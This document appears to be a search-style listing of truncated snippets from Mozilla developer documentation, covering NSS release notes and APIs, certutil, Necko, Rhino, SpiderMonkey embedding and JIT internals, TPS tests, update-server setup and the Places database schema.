s signature schemes using the -j parameter. nss will use rsa-pss keys to authenticate in tls. support for these keys is disabled by default but can be enabled using ssl_signatureschemeprefset(). certutil added the ability to delete an orphan private key from an nss key database. added the nss-policy-check utility, which can be used to check an nss policy configuration for problems. a pkcs#11 uri can be used as an identifier for a pkcs#11 token. new functions in cert.h cert_getcertkeytype - query the key type associated with the given certificate. utilpars.h nssutil_addnssflagtomodulespec - a helper function for modifying the pkcs#11 module configuration. it can be used to add a single flag to the flags= section inside the spec's nss= section.
...sion 2.26. ...
NSS 3.53 release notes
parallel, speeding up those builds to more similar performance as the build.sh/ninja/gyp system. (bug 290526) seed is now moved into a new freebl directory freebl/deprecated (bug 1636389). seed will be disabled by default in a future release of nss. at that time, users will need to set the compile-time flag (bug 1622033) to disable that deprecation in order to use the algorithm. algorithms marked as deprecated will ultimately be removed. several root certificates in the mozilla program now set the cka_nss_server_distrust_after attribute, which nss consumers can query to further refine trust decisions. (bug 1618404, bug 1621159) if a builtin certificate has a cka_nss_server_distrust_after timestamp before the sct or notbefore date of a certificate that builtin issued, then cl...
...59) if a builtin certificate has a cka_nss_server_distrust_after timestamp before the sct or notbefore date of a certificate that builtin issued, then clients can elect not to trust it. this attribute provides a more graceful phase-out for certificate authorities than complete removal from the root certificate builtin store. bugs fixed in nss 3.53 bug 1640260 - initialize pbe params (asan fix) bug 1618404 - set cka_nss_server_distrust_after for symantec root certs bug 1621159 - set cka_nss_server_distrust_after for consorci aoc, grca, and sk id root certs bug 1629414 - ppc64: correct compilation error between vmx vs. vsx vector instructions bug 1639033 - fix various compile warnings in nss bug 1640041 - fix a null pointer in security/nss/lib/ssl/sslencode.c:67 bug 1640...
NSS 3.55 release notes
3.55 p384 and p521 elliptic curve implementations are replaced with verifiable implementations from fiat-crypto and ecckiila. special thanks to the network and information security group (nisec) at tampere university. pk11_findcertinslot is added. with this function, a given slot can be queried with a der-encoded certificate, providing performance and usability improvements over other mechanisms. see bug 1649633 for more details. dtls 1.3 implementation is updated to draft-38. see bug 1647752 for details. nspr dependency updated to 4.27. known issues on some platforms, using the makefile builds fails to locate seccomon.h; ensure you are using make all rather than just make. another potential workaround is to use the gyp-based build.sh script. if this affects you, please help us n...
...ocsp tests under standard test cycle in ci. bug 1649226 - add wycheproof ecdsa tests. bug 1637222 - consistently enforce iv requirements for des and 3des. bug 1067214 - enforce minimum pkcs#1 v1.5 padding length in rsa_checksignrecover. bug 1643528 - fix compilation error with -werror=strict-prototypes. bug 1646324 - advertise pkcs#1 schemes for certificates in the signature_algorithms extension. bug 1652331 - update nss 3.55 nspr version to 4.27. this bugzilla query returns all the bugs fixed in nss 3.55: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.55 compatibility nss 3.55 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with old...
NSS Developer Tutorial
epresented as: unsigned char *data; unsigned int len; the buffer pointer is unsigned char *, as opposed to void *, so we can perform pointer arithmetic without casting. use char * only if the data is interpreted as text characters. for historical reasons, the buffer length is unsigned int, as opposed to size_t. unfortunately, this can be a source of integer overflow bugs on 64-bit systems. c features nss requires c99. however, not all features from c99 are equally available. variables can be declared, at the point they are first used. the inline keyword can be used. variadic macro arguments are permitted, but their use should be limited to using __va_args__. the exact-width integer types in nspr should be used, in preference to those declared in <stdint.h> (which will be ...
...hese exceptions: a foo * parameter can be changed to const foo *. this change is always safe. sometimes an int parameter can be changed to unsigned int, or an int * parameter can be changed to unsigned int *. whether such a change is safe needs to be reviewed on a case-by-case basis. types structs members of an exported struct, cannot be reordered or removed. under certain circumstances, it is safe to add new members to an exported struct at the end. opaque structs give us complete freedom to change them, but require applications to call nss functions, to allocate and free them. enums the numeric values of public enumerators cannot be changed. to stress this fact, we often explicitly assign numeric values to enumerators, rather than relying on the values assigned by the...
NSS Sample Code sample2
can skip it * here. * this code uses the simplest of the init functions, which does not * require a nss database to exist */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto out; } /* choose mechanism: ckm_des_cbc_pad, ckm_des3_ecb, ckm_des3_cbc..... * note that some mechanisms (*_pad) imply the padding is handled for you * by nss. if you choose something else, then data padding is the * application's responsibility */ ciphermech = ckm_des_cbc_pad; slot = pk11_getbestslot(ciphermech, null); /* slot = pk11_getinternalkeyslot(); is a simpler alternative but in * theory, it *may not* return the optimal slot for the operation. for * des ops, internal sl...
...t(ciphermech, null); /* slot = pk11_getinternalkeyslot(); is a simpler alternative but in * theory, it *may not* return the optimal slot for the operation. for * des ops, internal slot is typically the best slot */ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); goto out; } /* nss passes blobs around as secitems. these contain a pointer to * data and a length. turn the raw key into a secitem. */ keyitem.type = sibuffer; keyitem.data = gkey; keyitem.len = sizeof(gkey); /* turn the raw key into a key object. we use pk11_originunwrap * to indicate the key was unwrapped - which is what should be done * normally anyway - using raw keys isn't a good idea */ symkey = pk11_importsymkey(slot, ...
Utilities for nss samples
functions are adapted from those found in the sectool library used by the nss security tools and other nss test applications. it shows the following: read der from a file. compile file size. get seed from a noise gile. generate random numbers. get a module password. extract the password from a text file. print data as hexadecimal. util.h /* this source code form is subject to the terms of the mozilla public * license, v. 2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. */ #ifndef _util_h #define _util_h #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include "util.h" #include <prprf.h> #include <prerror.h> #include <nss.h> #include <pk11func.h> /* * the...
...2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. */ #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications. */ /* * newline */ static void newline(prfiledesc* out) { pr_fp...
nss tech note4
low */ ....... /* free the secitem fields */ secitem_freeitem(&data.version, pr_false); secitem_freeitem(&data.streetaddress, pr_false); ...... ...
... /* free the secitem fields */ secitem_freeitem(&data.version, pr_false); secitem_freeitem(&data.streetaddress, pr_false); ...... ...
Installation guide
the build system of nss originated from netscape's build system, which predated the "configure; make; make test; make install" sequence that we're familiar with now. our makefiles also have an "install" target, but it has a different meaning: our "install" means installing the headers, libraries, and programs in the appropriate directories under mozilla/dist. so right now you need to manually install the headers, libraries, and programs in the directories you want. if you install the libraries in a directory other than /usr/lib, you usually need to set the ld_library_path environment variable. you can avoid that by installing the libraries in a directory that is $origin/../lib, where $origin is the directory where the programs are installed. this is done here: http://lxr.mozilla.org...
..._shared_libs += -wl,-rpath,'$$origin/../lib' 58 endif 59 endif for example, if you install certutil in /foo/bar/nss/bin and the .so's in /foo/bar/nss/lib, then you only need to add /foo/bar/nss/bin to your path; you don't need to set ld_library_path. the libraries you need to install are listed below. nspr: libnspr4.so libplds4.so libplc4.so nss: (note the use of * for libfreebl -- some platforms have multiple ones) libfreebl*3.so libfreebl*3.chk libsoftokn3.so libsoftokn3.chk libnss3.so libsmime3.so libssl3.so libnssckbi.so ...
NSS tools : certutil
nput or output. this formatting follows rfc 1113. for certificate requests, ascii output defaults to standard output unless redirected. -b validity-time specify a time at which a certificate is required to be valid. use when checking certificate validity with the -v option. ...
...s required to be valid. use when checking certificate validity with the -v option. the format of the validity-time argument is yymmddhhmmss[+hhmm|-hhmm|z], which allows offsets to be set relative to the validity end time. specifying seconds (ss) is optional. when specifying an explicit time, use a z at the end of the term, yymmddhhmmssz, to close it. when specifying an offset time, use yymmddhhmmss+hhmm or yymmddhhmmss-hhmm for adding or subtracting time, respectively. if this option is not used, the validity check defaults to the current system time. -c issuer identify the certificate of the ca from which a new certificate will derive its aut...
sslcrt.html
e count and, if the reference count reaches zero as a result, both frees the memory and sets all the bits to zero. the use of the word "destroy" in function names or in the description of a function implies reference counting. never alter the contents of a certificate or key structure. if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe problems. getting certificate information cert_findcertbyname cert_getcertnicknames cert_freenicknames cert_getdefaultcertdb nss_findcertkeatype cert_findcertbyname finds the certificate in the certificate database with a specified dn. syntax #include <cert.h> certcertificate *cert_findcertbyname ( certcertdbhandle *handle, secitem *name); parameters this function has the fo...
...tem objects secitem_compareitem compares two secitem objects and returns a seccomparison enumerator that shows the difference between them. syntax #include <secitem.h> #include <seccomon.h> seccomparison secitem_compareitem( secitem *a, secitem *b); parameters this function has the following parameters: a a pointer to one of the items to be compared. b a pointer to one of the items to be compared. returns the function returns an enumerator of type seccomparison. typedef enum _seccomparison { seclessthan = -1, secequal = 0, secgreaterthan = 1 } seccomparison; ...
sslintro.html
tion files, setting global defaults, and setting up callback functions. functions used in the initialization part of an application can include the following: pr_init. initializes nspr. must be called before any other nss functions. pk11_setpasswordfunc. sets the global callback function to obtain passwords for pkcs #11 modules. required. nss_init. sets up configuration files and performs other tasks required to run network security services. nss_init is not idempotent, so call it only once. required. ssl_optionsetdefault. changes default values for all subsequently opened sockets as long as the application is running (compare with ssl_seturl which only configures the socket that is currently open). this function must be called once for each default value that needs to be chang...
...l level, nothing more is being said (that is, no http request or response is being sent), so the server first uses ssl_rehandshake to begin a new handshake and then call ssl_forcehandshake to drive the handshake to completion. functions used by callbacks an ssl application typically provides one or more callback functions that are called by the ssl or pkcs #11 library code under certain circumstances. numerous functions provided by the nss libraries are useful for such application callback functions, including these: cert_checkcertvalidtimes cert_getdefaultcertdb cert_destroycertificate cert_dupcertificate cert_findcertbyname cert_freenicknames cert_getcertnicknames cert_verifycertname cert_verifycertnow pk11_findcertfromnickname pk11_findkeybyanycert pk11_setpas...
ssltyp.html
the function decrements the reference count and, if the reference count reaches zero as a result, frees the memory. the use of the word "destroy" in function names or in the description of a function often implies reference counting. never alter the contents of a certificate structure. if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe problems. pk11slotinfo an opaque structure representing a physical or logical pkcs #11 slot. syntax #include <pk11expt.h> typedef struct pk11slotinfostr pk11slotinfo; secitem a structure that points to other structures. syntax #include <seccomon.h> #include <prtypes.h> #include <secport.h> typedef enum { sibuffer, sicleardatabuffer, sicipherdatabuffer, sidercertbuffer, ...
...lotinfo; secitem a structure that points to other structures. syntax #include <seccomon.h> #include <prtypes.h> #include <secport.h> typedef enum { sibuffer, sicleardatabuffer, sicipherdatabuffer, sidercertbuffer, siencodedcertbuffer, sidernamebuffer, siencodednamebuffer, siasciinamestring, siasciistring, sideroid } secitemtype; typedef struct secitemstr secitem; struct secitemstr { secitemtype type; unsigned char *data; unsigned int len; }; description a secitem structure can be used to associate your own data with an ssl socket. to free a structure pointed to by a secitem, and, if desired, the secitem structure itself, use one the functions secitem_freeitem or secitem_zfreeitem. seckeyprivatekey an opaque, generic key str...
TLS Cipher Suite Discovery
tls does not allow all possible combinations of choices from those categories to be used. ...
...tls does not allow all possible combinations of choices from those categories to be used. ...
NSS Tools certutil
ed instead. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database. this document discusses certificate and key database management. for information security module database management, see using the security module database tool. availability see the release notes for the platforms this tool is available on. syntax to run the certificate database tool, type the command certutil option [arguments ] where options and arguments are combinations of the options and arguments listed in the following section. each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options, or with the -h option. options and ...
...mat or allow the use of ascii format for input or output. this formatting follows rfc 1113. for certificate requests, ascii output defaults to standard output unless redirected. -b validity-time specify a time at which a certificate is required to be valid. use when checking certificate validity with the -v option. the format of thevalidity-time argument is "yymmddhhmmss[+hhmm|-hhmm|z]". specifying seconds (ss) is optional. when specifying an explicit time, use "yymmddhhmmssz". when specifying an offset time, use "yymmddhhmmss+hhmm" or "yymmddhhmmss-hhmm". if this option is not used, the validity check defaults to the current system time. -c issuer identify the certificate of the ca from which a new certificate will derive its authe...
Necko Architecture
nd when it has "stopped." it is up to the nsistreamlistener implementation to decide what to do with these various notifications. the ondataavailable() notification provides a chance for the nsistreamlistener to actually retrieve data that the channel has acquired. one of the arguments to the ondataavailable() notification is an nsiinputstream (which can be considered the underlying data). streams necko represents data in the form of streams (nsibasestream is the root interface. nsiinputstream is read from. nsioutputstream is written to). streams provide a generic interface to the data and allow for many underlying implementations that permit multiple data sources to be used. as a user, you don't care where the data came from, or where it "is," as long as you get the data. the data may be...
...if you initiate a synchronous transfer on a channel, you are handed back a stream that you can read or write from or to. if you initiate an asynchronous transfer, you receive callbacks that notify you when things are happening. in the case of an asynchronous read... ...
Multithreading in Necko
method can operate partially on the file transport's thread before proxying data to the main thread. the file transport is confusingly named since it is not restricted to loading files. it simply promises to read from a nsiinputstream (or write to a nsioutputstream) on a background thread. the implementation of the stream should be blocking; however, there is limited support for non-blocking streams. cached page loads, file url loads, and jar url loads all utilize the file transport service. the jar protocol handler, for rexample, passes a special nsiinputstream impl that does gzip decoding on the fly. dns thread (0-1) on most platforms dns requests a processed on a background thread. however, the details of the implementation are heavily platform dependent. for example, on xp_win an invi...
...the default implementation does not spawn a worker thread, and instead simply calls pr_getipnodebyname (essentially equivalent to gethostbyname). ...
Pork
d of every ast node, as well as the set of macro expansions that contain any location. this information allows c++ to be automatically rewritten in a precise way. the inputs driving the rewriting would normally be provided by a program-analysis system outside of pork. (see dehydra, treehydra). pork has been tested mostly on linux, but in theory it should be possible to make it work on other systems. note: pork is not presently used at mozilla. please refer to the oink link below for a more up-to-date toolchain. pork is based on the elsa (and oink) tool chain, and the mcpp preprocessor. as of october 2009 oink incorporates the pork functionality into its standard distribution; look for files and tests having the prefix "xform". documentation installing pork d...
...tion and dependency info for pork pork tools description of rewriting tools pork tool development in progress page... old pork page pork details that haven't been moved to mdc renaming with pork sample pork application todos pork 1.0 release tracking bug pork releases download pork here community view pork forums... mailing list newsgroup rss feed #static on irc.mozilla.org related topics dehydra, treehydra, mozilla 2, spidermonkey ...
Rhino license
rhino is available under open source licenses. mpl/gpl license the majority of the source code for rhino is available under a mpl 1.1/gpl 2.0 license. license for portions of the rhino debugger additionally, some files (currently the contents of toolsrc/org/mozilla/javascript/tools/debugger/treetable/) are available under the following license: * copyright 1997, 1998 sun microsystems, inc. all rights reserved. * * redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * - redistributions in binary form must reproduce the above copyright * notic...
...istributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * - redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * - neither the name of sun microsystems nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * this software is provided by the copyright holders and contributors "as * is" and any express or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpos...
Rhino scopes and contexts
note that currently in order to use java classes (liveconnect) from a sealed shared scope you need to pre-load a number of objects needed for liveconnect into the scope before it gets sealed. these objects would normally be lazy loaded but the lazy loading fails if the scope is sealed. scriptableobject sealedsharedscope = cx.initstandardobjects(null, true); // force the liveconnect stuf...
...ss; java; packages; javaadapter;"; cx.evaluatestring(sealedsharedscope , loadme, "lazyload", 0, null); sealedsharedscope .sealobject(); dynamic scopes there's one problem with the setup outlined above. calls to functions in javascript use static scope, which means that variables are first looked up in the function and then, if not found there, in the lexically enclosing scope. this causes problems if functions you define in your shared scope need access to variables you define in your instance scope. with rhino 1.6, it is possible to use dynamic scope. with dynamic scope, functions look at the top-level scope of the currently executed script rather than their lexical scope. so we can store information that varies across scopes in the instance scope yet still share functions that manipulat...
Scripting Java
ch beyond javascript into java. scripting java has many uses. it allows us to write powerful scripts quickly by making use of the many java libraries available. we can test java classes by writing scripts. we can also aid our java development by using scripting for exploratory programming. exploratory programming is the process of learning about what a library or api can do by writing quick programs that use it. as we will see, scripting makes this process easier. note that the ecma standard doesn't cover communication with java (or with any external object system for that matter). all the functionality covered in this chapter should thus be considered an extension. accessing java packages and classes every piece of java code is part of a class. every java class is part of a package. in j...
..."test.txt") test.txt js> f.exists() true js> f.getname() test.txt static methods and fields can be accessed from the class object itself: js> java.lang.math.pi 3.141592653589793 js> java.lang.math.cos(0) 1 in javascript, unlike java, the method by itself is an object and can be evaluated as well as being called. if we just view the method object by itself we can see the various overloaded forms of the method: js> f.listfiles function listfiles() {/* java.io.file[] listfiles() java.io.file[] listfiles(java.io.filenamefilter) java.io.file[] listfiles(java.io.filefilter) */} this output shows that the file class defines three overloaded methods listfiles: one that takes no arguments, another with a filenamefilter argument, and a third with a filefilter argument. all the methods return a...
Rhino serialization
es to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization. exceptions will be thrown if foo or foo.prototype cannot be found the scopes used in either scriptableoutputstream or scriptableinputstream. rhino serialization in compilation mode serialization works well with objects and with functions and scripts in interpretive mode. ...
...(it might be possible to save the java bytecodes in an array and then load the class upon deserialization, but at best that would eat up a lot of memory for just this feature.) one way around this is to compile the functions using the jsc tool: $ cat f.js function f() { return 3; } $ java -classpath js.jarorg.mozilla.javascript.tools.jsc.main f.js $ cat test2.js loadclass("f"); serialize(f,...
Rebranding SpiderMonkey (1.8.5)
$(pkg_config_files) those two lines should be modified to read back: install:: $brand.pc @echo pkg_config_file: $brand.pc note: while it is possible to automate the manual editing process, this has been discouraged due to the fact that these files are automatically generated and very little constant data can be depended upon. it also allows these instructions to apply to a wide range platforms without introducing more software dependencies. save the file and exit the editor. you may now perform the build and installation of your custom branded spidermonkey library: make note: depending on your system you may need administrative rights to perform the installation: make install the following information isn't technically needed for using your library but it will help other applications...
...fully built and installed to libdir as specified in ./config/autoconf.mk. a pkgconfig file has also been installed for your library at libdir/pkgconfig/$brand.pc. you may wish to manually edit this file. it describes your library package. the script file js-config has not been modified either and still points to mozjs185. if this is not desirable, you can issue the following command on unix systems: sed -i "s/mozjs185/$brand/" /usr/bin/js-config which performs a simple text replacement of mozjs185 with your branding on the js-config script. you may need administrative rights to run the above command. ...
Creating JavaScript tests
(which will cause the test to fail). if you are writing a jstests, additional testing functionality is provided for you in shell.js files. you can read about them here. performance testing and general advice do not attempt to test the performance of engine features in the test suite. please keep in mind that the javascript test suite is run on a wide variety of wildly varying hardware plaforms, from phones all the way up to servers. even tests that check for polynomial time complexity will start to fail in a few years when they have sped up enough to run faster than the granularity of the os scheduler or when run on platforms with higher latencies than your development workstation. these tests will also show up as infrequent oranges on our heavily loaded test machines, lowering the val...
...ainst an unpatched shell or browser. the test should fail if it's working properly. checking in completed tests tests are usually reviewed and pushed just like any other code change. just include the test in your patch. security-sensitive tests should not be committed until the corresponding bug has been made public. instead, ask a spidermonkey peer how to proceed. it is ok under certain circumstances to push new tests to certain repositories without a code review. don't do this unless you know what you're doing. ask a spidermonkey peer for details. ...
How to embed the JavaScript engine
ake sure the build computer has the prerequisites for building spidermonkey: linux, windows, mac os x, others. for windows, the following steps will assume that you have installed the mozillabuild package. get the spidermonkey source code. you can download a source archive or use mercurial (hg) to pull the spidermonkey repository. on windows, do not install the spidermonkey source code under the msys root directory (which is usually c:\mozilla-build\msys). instead use something like c:\mozjs-31.2.0 compile spidermonkey using the build instructions at spidermonkey build documentation. by default this will build a spidermonkey shared library that you will link into your application in a later step. copy the code example above into a text editor and save the file as helloworld.cpp in the spi...
... bunch of native functions to define, you would probably put them in a table: static jsfunctionspec my_functions[] = { js_fn("doit", doit, doit_minargs, 0), /* etc... */ js_fs_end }; js_fs_end terminates the table. and say: ok = js_definefunctions(cx, global, my_functions); how to call javascript functions from c first, create arguments for the call, here i create arguments with 2 items: // [spidermonkey 24] js::autovaluearray is not defined. // js::autovaluevector argv(cx); // argv.resize(2); js::autovaluearray<2> argv(cx); argv[0].setint32(1); argv[1].setint32(2); then call the function: // [spidermonkey 24] pass arguments length and the 'jsval *' pointer. // js_callfunctionname(cx, global, "func", 2, argv.begin(), rval.address()); js_callfunctionname(cx, global, "func", a...
Bytecodes
background spidermonkey bytecodes are the canonical form of code representation that is used in the javascript engine. the javascript frontend constructs an ast from the source text, then emits stack-based bytecodes from that ast as a part of the jsscript data structure. bytecodes can reference atoms and objects (typically by array index) which are also contained in the jsscript data structure. within the engine, all bytecode execute within a stack frame -- even global (top-level) and eval code has a stack frame associated with it. a frame on the stack has space for javascript values (the tagged value format) in a few different categories. the space for a single javascript value is called a "slot", so the categories are: argument slots: holds the actual arguments passed to the c...
... + b) + c you would push a, then push b, then add, then push c, then add, which requires a maximum depth of two expression slots. there are also some slots reserved for dedicated functionality, holding values like this and the callee / return value. there is always a "top of stack" (tos) that corresponds to the latest value pushed onto the expression stack. all bytecodes implicitly operate in terms of this location. bytecode listing all opcodes are annotated with a [-popcount, +pushcount] to represent the overall stack-effects their execution. bytecode listing was moved to spidermonkey internals: bytecode descriptions page. ...
Tracing JIT
(lins values) into the fragment, it allocates pages to store the lir code. later, when the fragment is assembled, it will allocate pages for the native code (nins values) produced by the assembler. when the fragment is destroyed, it returns its pages to the fragmento for reuse. nanojit/assembler.* the nanojit/assembler.cpp and nanojit/assembler.h files define the class assembler, which transforms lins values into nins values. in other words, an assembler transforms lir code into native code. an assembler is also able to modify existing fragments of native code, by rewriting native jump instructions to jump to new locations. in this way the assembler can "patch together" multiple fragments, so that program control can flow from one fragment into another, or back out of generated code and i...
...iant is included into any given build of the assembler; the architecture is selected and fixed when the build is configured. the architecture-specific methods found in these files are the only functions within nanojit or tracemonkey that emit raw bytes of machine-code into memory. spidermonkey-specific high level component: jstracer.* the files jstracer.cpp and jstracer.h contain a the mechanisms of monitoring and recording the activity of the interpreter. each spidermonkey jscontext holds a trace monitor of type jstracemonitor. the trace monitor maintains some book-keeping information, as well as the collection of recorded fragments, held in a hashtable keyed by the interpreter's program counter and global object shape at the time of recording. at any moment, the trace monitor is in o...
JIT Optimization Strategies
ction using f.apply(obj, arguments) if the function contains any use of the arguments object that falls out of the cases defined above, this optimization will be suppressed. in particular, arguments cannot be returned from the function, or passed as an argument into calls (except for the apply example listed above). getprop_inferredconstant attempts to optimize an access to a property that seems to be a constant. it applies to property accesses on objects which are global-like in that there is only one instance of them per program. this includes global objects, object literals defined at the top-level of a script, and top-level function objects. this optimization makes the assumption that a property that has not changed after it was first assigned, is likely a constant property. it then...
...ough information to guide the optimization process. call call_inline a function call f(x) usually pushes a frame onto the call stack. inlining a call site conceptually copies the body of the callee function and pastes it in place of the call site and avoids pushing a new execution frame. usually, hot functions do well to be inlined. this is one of the most important optimizations the jit performs. ion inlines both interpreted (i.e., written in javascript) functions and native (i.e., built-ins such as math.sin implemented in c++). a successfully inlined call site has the outcome inlined. failure to inline comes in two flavors: unable (e.g., unable to determine exact callee) and unwilling (e.g., heuristics concluded that the time-space tradeoff will not pay off). ...
JS_GC
garbage collection frees memory so that it can be reused by the system. ...
...oid js_gc(jsruntime *rt); // obsolete since jsapi 50 void js_gc(jscontext *cx); // obsolete since jsapi 14 name type description cx jscontext * the context to for which to perform garbage collection. added in spidermonkey 52 rt jsruntime * the runtime to for which to perform garbage collection. obsolete since jsapi 50 description js_gc performs garbage collection of js objects, strings and other internal data structures that are no longer reachable in the specified context or runtime. garbage collection frees memory so that it can be reused by the system. when your scripts create many objects, you may want to call js_gc directly in your code, particularly when a script terminates or when the application has idle time. to perform garbag...
JS_InitClass
ethods are added to the constructor. the properties are defined as though by calling js_defineproperties, and the methods as though by calling js_definefunctions. note: by default js_initclass creates a prototype object but does not invoke the constructor (jsclass.construct) on it. however, the prototype object will eventually be finalized (jsclass.finalize). this inconsistency can cause problems; for example, if the finalizer calls js_getprivate(), expecting that the constructor called js_setprivate(), it may find that the private data is null. the jsclass_construct_prototype flag is one way to avoid this inconsistency. warning: if the class is a jsextendedclass, make sure that the additional reserved fields at the end of the jsextendedclass are null. jsextendedclass structs should usu...
...class_construct_prototype flag is one way to avoid this inconsistency. warning: if the class is a jsextendedclass, make sure that the additional reserved fields at the end of the jsextendedclass are null. jsextendedclass structs should usually be global, and in this case the compiler automatically initializes these fields to null. (this is a feature of the c and c++ languages.) otherwise, use memset. see also mxr id search for js_initclass js_getclass js_instanceof ...
JS_THREADSAFE
anges to this feature. until recently, sharing objects among threads would mostly work, although scripts could easily make it crash. we have now completely removed that feature. each thread that uses the javascript engine must essentially operate in a totally separate region of memory. requests in a js_threadsafe build, the application must separate code that uses the jsapi from code that performs blocking i/o or time-consuming calculations. a request is a region of code that uses the jsapi. requests must be bracketed with calls to js_beginrequest() and js_endrequest(). js_beginrequest(cx); /* ... do jsapi stuff ... */ js_endrequest(cx); a request is always associated with a specific jscontext and runs from start to finish on a single thread. most jsapi functions require the caller to...
...safe when multiple threads are using the jsapi. for each thread that is in a request: almost any call into the jsapi may trigger garbage collection; but garbage collection does not happen at any other time (such as, for example, at the moment before the return value of js_newobject is assigned to a rooted variable). these are actually the same rules that apply to single-threaded jsapi programs. but in multithreaded programs, if you break the rules, your program is more likely to crash. this is because in single-threaded programs, a random call into the jsapi is actually pretty unlikely to trigger gc, especially if the calling thread has not been using up a lot of memory. in a multithreaded program, even if the calling thread has been idle, other threads may be active or may call js_gc(...
TPS Tests
history tabs form data prefs test phases the phase blocks are where the action happens! they tell tps what to do. each phase block contains the name of a phase, and a list of actions. tps iterates through the phase blocks in alphanumeric order, and for each phase, it does the following: launches firefox with the profile from the phases object that corresponds to this test phase. performs the specified actions in sequence. determines if the phase passed or failed; if it passed, it continues to the next phase block and repeats the process. a phase is defined by calling the phase function with the name of the phase and a list of actions to perform: phase('phase1', [ [bookmarks.add, bookmarks_initial], [passwords.add, passwords_initial], [history.add, history_initial], [s...
...functions sync(options) initiates a sync operation. if no options are passed, a default sync operation is performed. otherwise, a special sync can be performed if one of the following are passed: sync_wipe_server, sync_wipe_client, sync_reset_client. this will cause tps to set the firstsync pref to the relevant value before syncing, so that the described actionwill take place logger.loginfo(msg) logs the given message to the tps log. logger.asserttrue(condition, msg) asserts that condition is true, otherwise an exception is thrown and the test fails. logger.assertequal(val1, val2, msg) asserts that val1 is equal to val2, otherwise an exception is thrown and the test fails. custom functions you can also write your own functions to be called as actions. for example, consider the ...
Setting up an update server
ing="utf-8"?> <updates> <update type="minor" displayversion="2000.0a1" appversion="2000.0a1" platformversion="2000.0a1" buildid="21181002100236"> <patch type="complete" url="http://127.0.0.1:8000/<mar name>" hashfunction="sha512" hashvalue="<hash>" size="<size>"/> </update> </updates> if you've downloaded the mar you're using, you'll find the sha512 value in a file called sha512sums in the root of the release directory on archive.mozilla.org for a release or beta build (you'll have to search it for the file name of your mar, since it includes the sha512 for every file that's part of that release), and for a nightly build you'll find a file with a .checksums extension adjacent to your mar that contains that information (for instance, for the mar file at https://archive.mozill...
...u'll find a file with a .checksums extension adjacent to your mar that contains that information (for instance, for the mar file at https://archive.mozilla.org/pub/firefox/nightly/2019/09/2019-09-17-09-36-29-mozilla-central/firefox-71.0a1.en-us.win64.complete.mar, the file https://archive.mozilla.org/pub/firefox/nightly/2019/09/2019-09-17-09-36-29-mozilla-central/firefox-71.0a1.en-us.win64.checksums contains the sha512 for that file as well as for all the other win64 files that are part of that nightly release). if you've built your own mar, you can obtain its sha512 checksum by running the following command, which should work in linux, macos, or windows in the mozillabuild environment: shasum --algorithm 512 <filename> on windows, you can get the exact file size in bytes for your mar by ...
AT Development
developed. guidelines at apis implementation by gecko at vendors guide to support gecko-based applications like firefox, thunderbird and so on. accessibility architecture how the accessibility hierarchy is implemented in mozilla (some issues aren't addressed by previous guide). building xulrunner with python how to build xulrunner with python on windows. ...
...irefox, thunderbird and so on. accessibility architecture how the accessibility hierarchy is implemented in mozilla (some issues aren't addressed by previous guide). building xulrunner with python how to build xulrunner with python on windows. then comtypes gives access to msaa and iaccessible2. references at apis implementation references shows how gecko handles atk, iaccessible2, msaa and universal access api accessible web specifications references provides the map of reflecting web specification to at apis. this page includes: aria references - w3c specification reflecting aria mapping into at apis. xforms references - gecko documentation showing how xforms controls are mapped to at apis. ...
Life After XUL: Building Firefox Interfaces with HTML
work on this is being tracked in bug 1453783 and bug 1446829. this page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox. background: discussion of how to replace xul is ongoing within the platform team. in the meantime, some teams are already experimenting with html5-based interfaces. ...
... work on this is being tracked in bug 1453783 and bug 1446829. this page gathers technical solutions to common problems encountered by teams shipping html-based interfaces inside firefox. background: discussion of how to replace xul is ongoing within the platform team. in the meantime, some teams are already experimenting with html5-based interfaces. ...
The Places database
the places schema looks like so: core url table moz_places: this is the main table of uris and is managed by the history service (see also history service design). any time a places component wants to reference a url, whether visited or not, it refers to this table. each entry has an optional reference to the moz_favicon table to identify the favicon of the page. ...
...okmarks using places for more information. annotation tables moz_anno_attributes: contains the names of all the annotations in the system and a name id. there should be relatively few unique names. moz_annos: contains the values of page annotations. it maps a page (reference to moz_places) and an annotation name (reference to moz_anno_attributes) to the value of the annotation. moz_items_annos: contains the values of bookmark item annotations. it maps a bookmark, folder or separator (reference to moz_bookmarks) and an annotation name (reference to moz_anno_attributes) to the value of the annotation. favicon table moz_favicons: this contains a list of unique favicon uris and data. one or more pages in moz_places refer to each entry. when no pages reference a favicon, the icon...
The Publicity Stream API
n and authorization with the stream server) registers the activity in a stream at [address]. this stream can be pulled down by getpublicitystream() and helps determine the results for getuserrecommendedapps(). example use cases: 'adam got a high score in mafia wars', 'bethany bought a plane ticket to the caribbean', etc. activity is an object, formatted as per the fixme: deadlinkactivity streams open specification. onsuccess is a callback that will be invoked with no arguments if the activity is successfully posted. onerror is an error callback that will be invoked if the publicity fails. possible error codes include: denied - if the user refuses to publicize the activity permissiondenied - if the publicizing site is not allowed to post to the publicity stream networkerro...
